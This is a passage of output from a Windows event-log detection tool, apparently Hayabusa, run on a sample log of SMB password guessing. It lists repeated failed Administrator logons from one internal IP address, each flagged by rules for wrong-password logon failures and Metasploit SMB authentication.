Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.306 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MSI2b7LpZpWO3xJW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.306 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.344 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: avNkOq3fsGN3yYJi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.344 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.384 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Wnlgy6dW33tRk6UX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.384 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.416 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: msJ8QrqMluTeUlM9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.416 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.464 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: H33NuKduMuskxL0D : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.464 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.500 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2BHjp69CD1ttbaK2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.500 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.544 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5uxByLPApvfeIhU2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.544 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.600 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6g0WOAnoGpKyEyzW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.600 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.640 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: P8MTs4Nkbm3ryqcp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.640 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.688 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0Nyd7tr3y0BHmPLM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.688 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.731 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: J5KiDQOEnDf6xEPN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.731 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.768 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3MBP1buuRcBRiQTG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.768 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.804 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DXXdcg3MSqnGSvax : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.804 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.841 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Kej7zgIDCNR5tnnp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.841 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.884 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gjM8SOeQXwytB6iw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.884 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.920 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XPNATM0IL05vtbZ1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.920 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.964 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: H56ci5gbBVzebS2j : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:37.964 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:38.008 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6rRofLg1uxrojU7n : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:38.008 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:38.048 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MAhtwTU8OttAhcxf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:38.048 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:38.093 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: CwKgAR6OWbkFlxUy : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:38.093 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:38.129 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lNZR4G0DVsXVg4A9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:38.129 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:38.174 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OZG99tl0RRN3cQoK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:38.174 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:38.216 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nwRzAutxa07Y1xE4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:38.216 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:38.254 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OwhvrVBSRa8RcCKe : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:38.254 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:38.296 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bLBwBys2favoK7BQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:38.296 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:38.335 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3oYpj1rGcsOWNSs7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:38.335 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:38.380 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IBogtzE6No62tJB9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:38.380 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:38.416 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QQJICDi3T4LiwXZc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:38.416 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:38.465 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hnlKkfHYT0ID3BWr : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:38.465 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:38.510 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gw36XaWrYp2M9CZd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:38.510 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:38.544 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: j9aT76CAAER0H98I : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:38.544 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:38.580 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TEOZfrP3IYmutAuq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:38.580 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:38.628 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zd54DAwwp0BJhhaZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:38.628 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:38.665 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AR6Gc128RlPtwcPl : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:38.665 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:38.713 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: cpjS1YZy2sSRqzI3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:38.713 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:38.756 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: EKeate89Gw1oEp0U : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:38.756 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:38.801 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tBhApsBYa65Hxr0L : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:38.801 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:38.894 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ITv5RS3WHhWe0Hez : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:38.894 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:38.940 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WASvcAp9zfU3uSka : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:38.940 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:38.972 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: H1f6szOactEp5ntF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:38.972 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.008 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Loe5RkT9Ki0Aw2Lv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.008 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.052 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TJdVtE7dNSoyM3LI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.052 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.092 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QlAtU1mIO7m5DnuP : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.092 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.132 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wAK2rh94yKwiH2Nw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.132 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.168 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AuqsvmUbPlpWFBRZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.168 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.208 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BShEB6VnXkOxwtFB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.208 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.248 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AjAc5QMvpTBsDziO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:39.248 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 